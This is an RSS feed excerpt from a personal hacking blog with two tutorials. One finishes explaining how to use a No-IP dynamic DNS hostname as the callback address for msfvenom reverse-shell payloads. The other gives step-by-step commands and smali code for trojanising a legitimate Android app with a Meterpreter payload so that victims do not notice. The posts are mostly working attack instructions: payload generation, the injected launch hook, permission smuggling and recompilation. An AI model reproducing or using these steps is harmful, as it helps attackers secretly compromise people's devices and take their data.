&lt;p&gt;We all know what DNS or Domain Naming System is, it’s the system which binds an IP to a domain name. When you try to connect to a domain name, for example opening &lt;a href=&quot;http://www.google.com&quot;&gt;www.google.com&lt;/a&gt; on a browser, the request first goes to a DNS server, which resolves the domain name into an IP, and then the browser gets the Google homepage from that IP. Similarly you can get a domain name for your machine and put that domain name in the place of HOST IP address in your payload. But the problem of your IP being dynamic still remains.&lt;/p&gt;
&lt;p&gt;Here DDNS comes to the rescue. DDNS servers update the DNS record of your machine continuously, so that even for dynamic IP machines the domain name resolves to the correct IP, always.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-ddns-using-no-ip&quot;&gt;Setting up DDNS using No-IP&lt;/h2&gt;
&lt;p&gt;There are many DDNS providers, I’m going to use No-IP which is one of them.&lt;/p&gt;
&lt;h3 id=&quot;step-1-creating-a-no-ip-account&quot;&gt;Step 1: Creating a No-IP account&lt;/h3&gt;
&lt;p&gt;Head to &lt;a href=&quot;https://www.noip.com&quot;&gt;https://www.noip.com&lt;/a&gt; and create a free account there.&lt;/p&gt;
&lt;h3 id=&quot;step-2-adding-a-hostname-in-no-ip&quot;&gt;Step 2: Adding a Hostname in No-IP&lt;/h3&gt;
&lt;p&gt;When you get to the dashboard, go to Dynamic DNS → Hostnames and add a hostname of your choice from there. You can also choose a domain name from a list there. The address you will get is &lt;code&gt;hostname.domain&lt;/code&gt;. For example, I chose the default domain name—ddns.com—and the hostname I entered is &lt;em&gt;skulltech&lt;/em&gt;. So the address I got is “skulltech.ddns.com”. Refer to the screenshots below for reference.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/ddns-dynamic-ip-step-11.png&quot; alt=&quot;step-1&quot;&gt;
&lt;img src=&quot;https://sumit-ghosh.com/images/posts/ddns-dynamic-ip-step-21.png&quot; alt=&quot;step-2&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-3-install-the-dynamic-dns-update-client&quot;&gt;Step 3: Install the Dynamic DNS Update Client&lt;/h3&gt;
&lt;p&gt;Now you’ll need to install a program on your computer and set it up. So that it connects to No-IP server frequently and updates the DNS record. Download the update client from &lt;a href=&quot;https://www.noip.com/download&quot;&gt;https://www.noip.com/download&lt;/a&gt; . It’s a tar.gz archive, extract it using the following command —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ tar -xzvf noip-duc-linux.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/ddns-dynamic-ip-screenshot-from-2016-12-18-14-24-36.png&quot; alt=&quot;screenshot-from-2016-12-18-14-24-36&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that change working directory to the newly extracted folder and run the following command to install the No-IP client.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ make install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/ddns-dynamic-ip-screenshot-from-2016-12-18-14-38-06.png&quot; alt=&quot;screenshot-from-2016-12-18-14-38-06&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that the program will ask for your No-IP username and password.&lt;/p&gt;
&lt;h3 id=&quot;step-4-configure-the-client-and-run-it&quot;&gt;Step 4: Configure the Client and Run It&lt;/h3&gt;
&lt;p&gt;Run the following command to launch the configuration wizard of the No-IP client. It will ask you for your credentials, as well as which hostnames you want to update. Select the hostname—or hostnames—that you want to associate with this computer in that step.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ noip2 -C&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you are done with the configuration, just run &lt;code&gt;noip2&lt;/code&gt; in the terminal to start the client, it will run in the background and keep updating your DNS record.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ noip2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/ddns-dynamic-ip-screenshot-from-2016-12-18-14-49-56.png&quot; alt=&quot;screenshot-from-2016-12-18-14-49-56&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;using-ddns-hostname-in-payloads&quot;&gt;Using DDNS Hostname in Payloads&lt;/h2&gt;
&lt;p&gt;You can create a basic reverse shell payload for windows and get a shell on a remote computer on running it in that computer. Refer to this tutorial by Offensive Security for that, I won’t be going into details how to do that. Assuming that you already know how to create these payloads using &lt;em&gt;msfvenom&lt;/em&gt;—if you don’t check out &lt;a href=&quot;https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-easily/&quot;&gt;this tutorial&lt;/a&gt;—I’ll show you how you can use your DDNS hostname there.&lt;/p&gt;
&lt;p&gt;Generally we run a command like this to generate the payload. Here LHOST is the address of the our local machine, in the following example it’s &lt;em&gt;192.168.1.101&lt;/em&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;192.168.1.101&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; LPORT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;3333&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;\x00&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; x86/shikata_ga_nai&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; exe&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; /tmp/1.exe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have a DDNS hostname, pass that as LHOST to &lt;em&gt;msfvenom&lt;/em&gt; instead of your IP. So now the command will be —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;skulltech.ddn.com&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; LPORT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;3333&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; -b&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &quot;\x00&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -e&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; x86/shikata_ga_nai&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -f&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; exe&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; /tmp/1.exe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Feel free to leave a comment if you face any problem. Happy Hacking! :)&lt;/p&gt;
</content:encoded></item><item><title>Embed a Metasploit Payload in an Original .apk File | Part 2 — Do it Manually</title><link>https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-manually/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-manually/</guid><description>Embed a Metasploit Payload in an Original .apk File | Part 2 — Do it Manually — by Sumit Ghosh.</description><pubDate>Fri, 18 Dec 2015 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Metasploit’s flagship product, the &lt;em&gt;Meterpreter&lt;/em&gt;, is very powerful and an all-purpose payload. Once installed on the victim machine, we can do whatever we want to their system by sending out commands to it. For example, we could grab sensitive data out of the compromised system.&lt;/p&gt;
&lt;p&gt;The Meterpreter payload also comes as an installable .apk file for Android systems. Great! Now we can use Metasploit to compromise Android phones also. But if you have tried out these payloads you would know that they do not look convincing. No one in their right mind is going to install and run such an app, which apparently does nothing when it is opened. So how are we going to make the victim run the payload app in their phone?&lt;/p&gt;
&lt;p&gt;One of the solutions is that you can embed the payload inside another legitimate app. The app will look and behave exactly as the original one, so the victim won’t even know that his system is compromised. That’s what we are going to do in this tutorial.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; — This is a follow-up post of &lt;a href=&quot;https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-easily/&quot;&gt;my previous post&lt;/a&gt;, in which I showed you how to do this using a very simple yet effective Ruby script. If you haven’t read it, &lt;a href=&quot;https://sumit-ghosh.com/posts/embed-metasploit-payload-in-apk-easily/&quot;&gt;check it out&lt;/a&gt;. If you are not willing to go down the hard path, you can use that method to do it just fine. But if you want to know the inner workings and have a greater knowledge, continue reading this post. And also, in the following android hacking tutorials, I may refer to this tutorial, so if you can take it, I suggest you to keep on reading.&lt;/p&gt;
&lt;h3 id=&quot;pre-requisites&quot;&gt;Pre-Requisites&lt;/h3&gt;
&lt;p&gt;This tutorial is based on the Kali Linux operating system. I’m sure it can be done in other OS, especially Linux distros, but that will involve some more complications so I’m not going to cover those. If you are serious about hacking—or penetration testing, if you prefer—you should use Kali as it was built specifically for pen-testing.&lt;/p&gt;
&lt;p&gt;We will also need some libraries and tools in the following steps, so I think it’s better if you install them right now.&lt;/p&gt;
&lt;p&gt;To install the required libraries, enter this command at the console —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt-get install lib32stdc++6 lib32ncurses5 lib32z1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to get the latest version of ApkTool, head over to &lt;a href=&quot;http://ibotpeaches.github.io/Apktool/install/&quot;&gt;this site&lt;/a&gt; and follow the installation instructions.&lt;/p&gt;
&lt;p&gt;Also download the apk which you want to be backdoored from any source you like. Just do a google search “app_name apk download” and Google will come up with a lot of results. Save that apk in the root folder.&lt;/p&gt;
&lt;h3 id=&quot;brief-overview&quot;&gt;Brief Overview&lt;/h3&gt;
&lt;p&gt;Since this tutorial is a little bit long, I’m giving a brief overview of what we are going to do here,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Generate the Meterpreter payload.&lt;/li&gt;
&lt;li&gt;Decompile the payload and the original apk.&lt;/li&gt;
&lt;li&gt;Copy the payload files to the original apk.&lt;/li&gt;
&lt;li&gt;Inject the hook into the appropriate activity of the original apk.&lt;/li&gt;
&lt;li&gt;Inject the permissions in the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Recompile the original apk.&lt;/li&gt;
&lt;li&gt;Sign the apk using Jarsigner.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That’s about it. I will also show you how can you get a working Meterpreter session using that backdoored apk, if you don’t know that already. So let’s get started.&lt;/p&gt;
&lt;h3 id=&quot;step-1-generate-the-payload&quot;&gt;Step 1: Generate the Payload&lt;/h3&gt;
&lt;p&gt;First of all, we have to make the Meterpreter payload. We are going to use &lt;em&gt;MSFVenom&lt;/em&gt; for this. The command is —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ msfvenom -p android/meterpreter/payload_type LHOST&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;ip_address&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; LPORT&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;incoming_port&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; -o&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; meterpreter.apk&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace &lt;code&gt;payload_type&lt;/code&gt; by any of the following payloads available. The function of all these payloads are same, essentially they are all Meterpreter payloads, the difference is only in the method they use to connect to your Kali system. The available &lt;code&gt;payload_type&lt;/code&gt;s are&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;reverse_tcp&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;reverse_http&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;reverse_https&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can use any one you like, I’m going to use &lt;code&gt;reverse_https&lt;/code&gt; as an example.&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;ip_address&lt;/code&gt; by the IP address to which the payload is going to connect back to, i.e. the IP address of the attacker’s system. If you are going to perform this attack over a local network (eg. if the victim and attacker are connected to the same Wi-Fi hotspot), your Local IP will suffice. To know what your local IP is, run the command —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ifconfig&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-18-135649.png&quot; alt=&quot;Screenshot from 2015-12-18 13:56:49&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you are going to perform this attack over the Internet, you have to use your public IP address, and configure your router properly—set up port forwarding—so that your system is accessible from the Internet. To know your public IP, just google “My IP” and Google will help you out.&lt;/p&gt;
&lt;p&gt;Replace &lt;code&gt;incoming_port&lt;/code&gt; with the port no. which you want to be used by the payload to connect to your system. This can be any valid port except the reserved ones like port 80 (HTTP). I’m going to use 4895 as an example.&lt;/p&gt;
&lt;p&gt;So run the command using replacing the keywords with appropriate values and MSFVenom will generate a payload &lt;code&gt;meterpreter.apk&lt;/code&gt; in the root directory. Note that we specified the output file name using the &lt;code&gt;-o meterpreter.apk&lt;/code&gt; argument in the command, so if you like, you can name it anything else also.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-18-142314.png&quot; alt=&quot;Screenshot from 2015-12-18 14:23:14&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-2-decompile-the-apks&quot;&gt;Step 2: Decompile the APKs&lt;/h3&gt;
&lt;p&gt;Now we have to decompile the APKs, for this we are going to use ApkTool. It decompiles the code to a fairly human-readable format and saves it in &lt;code&gt;.smali&lt;/code&gt; files, and also successfully extracts the &lt;em&gt;.xml&lt;/em&gt; files. Assuming you have already installed the latest &lt;em&gt;apktool&lt;/em&gt; and also have the original apk file in the root directory, run the following commands —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ apktool d -f -o payload /root/meterpreter.apk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ apktool d -f -o original /root/original_apk_name&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will decompile the payload to &lt;code&gt;/root/payload&lt;/code&gt; and the original apk to &lt;code&gt;/root/original&lt;/code&gt; directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-013026.png&quot; alt=&quot;Screenshot from 2015-12-19 01:30:26&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-3-copy-the-payload-files&quot;&gt;Step 3: Copy the Payload Files&lt;/h3&gt;
&lt;p&gt;Now we have to copy the payload files to the original app’s folder. Just go to &lt;code&gt;/root/payload/smali/com/metasploit/stage&lt;/code&gt; and copy all the &lt;code&gt;.smali&lt;/code&gt; files whose file name contains the word &lt;em&gt;payload&lt;/em&gt;. Now paste them in &lt;code&gt;/root/original/smali/com/metasploit/stage&lt;/code&gt;. Note that this folder does not exists, so you have to create it.&lt;/p&gt;
&lt;h3 id=&quot;step-4-inject-the-hook-in-the-original-smali-code&quot;&gt;Step 4: Inject the Hook in the Original .SMALI Code&lt;/h3&gt;
&lt;p&gt;In the previous step, we just copied the payload codes inside the original apk, so that when the original apk is recompiled, it will contain the payload. But that doesn’t necessarily mean that the payload will run. To ensure that the payload runs, we have to inject a hook in the original apk’s &lt;em&gt;.smali&lt;/em&gt; code. If you are wondering what is this hook thingy I’m talking about, well essentially it’s a code which intercepts some specific function call and reacts to it. In this case, we are going to place the hook so that when the app is launched, it will also launch the payload with it.&lt;/p&gt;
&lt;p&gt;For this, firstly we have to find out which activity (to put it simply, activities are sections of code, it’s similar to frames in windows programming) is run when the app is launched. We can get this info from the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;So open up the &lt;code&gt;AndroidManifest.xml&lt;/code&gt; file located inside the &lt;em&gt;/root/original&lt;/em&gt; folder using any text editor. If you know HTML, then this file will look familiar to you. Both of them are essentially Markup Languages, and both use the familiar tags and attributes structure, e.g. &lt;code&gt;&amp;lt;tag attribute=&quot;value&quot;&amp;gt;Content&amp;lt;/tag&amp;gt;&lt;/code&gt;. Anyway, look for an &lt;code&gt;&amp;lt;activity&amp;gt;&lt;/code&gt; tag which contains both the lines&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;action android:name=&quot;android.intent.action.MAIN&quot;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&amp;lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On a side note, you can use CTRL+F to search within the document in any GUI text editor. When you locate that activity, note its &lt;code&gt;android:name&lt;/code&gt; attribute’s value. In my case, as you can see from the screenshot below, it is &lt;code&gt;com.piriform.ccleaner.ui.activity.MainActivity&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-132132.png&quot; alt=&quot;Screenshot from 2015-12-19 13:21:32&quot;&gt;&lt;/p&gt;
&lt;p&gt;Those two lines we searched for signifies that this is the activity which is going to start when we launch the app from the launcher icon, and also this is a MAIN activity (similar to the &lt;em&gt;main&lt;/em&gt; function in traditional programming).&lt;/p&gt;
&lt;p&gt;Now that we have the name of the activity we want to inject the hook into, let’s get to it! First of all, open the .smali code of that activity using &lt;em&gt;gedit&lt;/em&gt;. Just open a terminal and type —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gedit /root/original/smali/activity_path&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Replace the &lt;code&gt;activity_path&lt;/code&gt; with the activity’s &lt;code&gt;android:name&lt;/code&gt;, but instead of the dots, type slash. Actually the smali codes are stored in folders named in the format the &lt;code&gt;android:name&lt;/code&gt; is in, so we can easily get the location of the .smali code in the way we did. Check the screenshot below and you will get an idea of what I’m trying to say.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-190617.png&quot; alt=&quot;Screenshot from 2015-12-19 19:06:17&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now search for the following line in the smali code (using CTRL+F) —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;;-&amp;gt;onCreate(Landroid/os/Bundle;)V&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you locate it, paste the following code in the line next to it —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;plaintext&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;invoke-static {p0}, Lcom/metasploit/stage/Payload;-&amp;gt;start(Landroid/content/Context;)V&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What we are doing here is, inserting a code which starts the payload alongside the existing code which is executed when the activity starts. Now, save the edited smali file.&lt;/p&gt;
&lt;h3 id=&quot;step-5-inject-the-necessary-permissions&quot;&gt;Step 5: Inject The Necessary Permissions&lt;/h3&gt;
&lt;p&gt;From developer.android.com —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Additional finer-grained security features are provided through a “permission” mechanism that enforces restrictions on the specific operations that a particular process can perform.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If we do not mention all the additional permissions that our payload is going to need, it cannot function properly. While installing an app, these permissions are shown to the user. But most of the users don’t care to read all those boring texts, so we do not have to worry about that much.&lt;/p&gt;
&lt;p&gt;These permissions are also listed in the previously encountered AndroidManifest file. So let’s open the AndroidManifest.xml of both the original app and the payload from the respective folders. The permissions are mentioned inside &lt;code&gt;&amp;lt;uses-permission&amp;gt;&lt;/code&gt; tag as an attribute &lt;code&gt;android:name&lt;/code&gt;. Copy the additional permission lines from the Payload’s AndroidManifest to the original app’s one. But be careful that there should not be any duplicate.&lt;/p&gt;
&lt;p&gt;Here’s my original app’s AndroidManifest before editing —
&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-193712.png&quot; alt=&quot;Screenshot from 2015-12-19 19:37:12&quot;&gt;&lt;/p&gt;
&lt;p&gt;After adding the additional ones from the Payload’s AndroidManifest, my &lt;code&gt;/root/original/AndroidManifest.xml&lt;/code&gt; looks like this —
&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-194248.png&quot; alt=&quot;Screenshot from 2015-12-19 19:42:48&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;step-6-recompile-the-original-apk&quot;&gt;Step 6: Recompile The Original APK&lt;/h3&gt;
&lt;p&gt;Now the hard parts are all done! We just have to recompile the backdoored app into an installable apk. Run the following command —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ apktool b /root/original&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://sumit-ghosh.com/images/posts/metasploit-apk-manually-screenshot-from-2015-12-19-201431.png&quot; alt=&quot;Screenshot from 2015-12-19 20:14:31&quot;&gt;&lt;/p&gt;
